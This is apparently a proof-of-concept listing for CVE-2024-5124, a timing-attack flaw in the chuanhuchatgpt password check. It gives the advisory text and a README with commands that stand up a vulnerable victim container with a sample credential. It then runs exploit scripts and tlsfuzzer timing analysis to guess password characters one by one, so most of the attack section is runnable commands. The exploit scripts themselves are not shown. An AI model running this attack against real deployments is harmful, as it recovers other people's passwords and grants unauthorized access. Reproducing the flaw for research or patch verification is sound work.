CVE-2024-5124 PoC — Timing Attack Vulnerability in gaizhenbiao/chuanhuchatgpt

Source

https://github.com/gogo2464/CVE-2024-5124

Associated Vulnerability

Title:Timing Attack Vulnerability in gaizhenbiao/chuanhuchatgpt (CVE-2024-5124)
Description:A timing attack vulnerability exists in the gaizhenbiao/chuanhuchatgpt repository, specifically within the password comparison logic. The vulnerability is present in version 20240310 of the software, where passwords are compared using the '=' operator in Python. This method of comparison allows an attacker to guess passwords based on the timing of each character's comparison. The issue arises from the code segment that checks a password for a particular username, which can lead to the exposure of sensitive information to an unauthorized actor. An attacker exploiting this vulnerability could potentially guess user passwords, compromising the security of the system.

Readme

# deploy victim server:

# Install docker

```bash
# Install packages required for the installation

sudo apt-get update
sudo apt install --yes ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
# Download GPG key and store repository in the system

curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /usr/share/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" |tee /etc/apt/sources.list.d/docker.list > /dev/null 
apt update 

# Install Docker packages

sudo apt install --yes docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

# Run victim server

```bash
export JSON='{
    "users": [["openai", "isCloseAi"]]
}' ; sudo docker run -e language=en_US -it tuchuanhuhuhu/chuanhuchatgpt:20240310 /bin/bash -c "apt update && apt install --yes git && pip install itsdangerous gradio && echo '${JSON}' > config.json && sed -i 's/share=share/share=True/g' ChuanhuChatbot.py && python3 -u ChuanhuChatbot.py 2>&1 | tee /var/log/application.log"
```


# deploy exploit:

# I Install tlsfuzzer

```bash
sudo apt install --yes virtualenv
virtualenv -p python3 venv3
source venv3/bin/activate
pip install --pre tlslite-ng
git clone https://github.com/tlsfuzzer/tlsfuzzer
```

# II Run exploit

The argument `--clock-frequency` always must be set to `1000` like for example `--clock-frequency 1000`. No need to Guess your clock with: `watch -n 1 "cat /proc/cpuinfo | grep 'MHz'"` in python.

lowercase:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 10000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 1000 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 1000 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```

uppercase:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 100 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 100 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 1000 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```


full:

```bash
rm -r tmpdir/ && mkdir tmpdir/ ;
python3 CVE-2024-5124/main.py -r 100 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z "out.csv" &&
PYTHONPATH=tlsfuzzer ./tlsfuzz-venv/bin/python ./CVE-2024-5124/step2like.py -r 100 -c a -c b -c c -c d -c e -c f -c g -c h -c i -c j -c k -c l -c m -c n -c o -c p -c q -c r -c s -c t -c u -c v -c w -c x -c y -c z -c A -c B -c D -c E -c F -c G -c H -c I -c J -c K -c L -c M -c N -c O -c P -c Q -c R -c S -c T -c U -c V -c W -c X -c Y -c Z -o ./tmpdir/ &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/extract.py --raw-times out.csv -o ./tmpdir/ --clock-frequency 2591 -l ./tmpdir/log.csv &&
PYTHONPATH=tlsfuzzer tlsfuzz-venv/bin/python3 tlsfuzzer/tlsfuzzer/analysis.py -o tmpdir/ --verbose
```

Then the guessed character will be the one with the toppest (hightest) value in the file ./tmpdir/box_plot.png

File Snapshot


 [4.0K]  /data/pocs/b96037819b58c46ef1f553213663ac62334da961
├── [1.0K]  main.py
├── [4.7K]  README.md
└── [1.9K]  step2like.py

0 directories, 3 files

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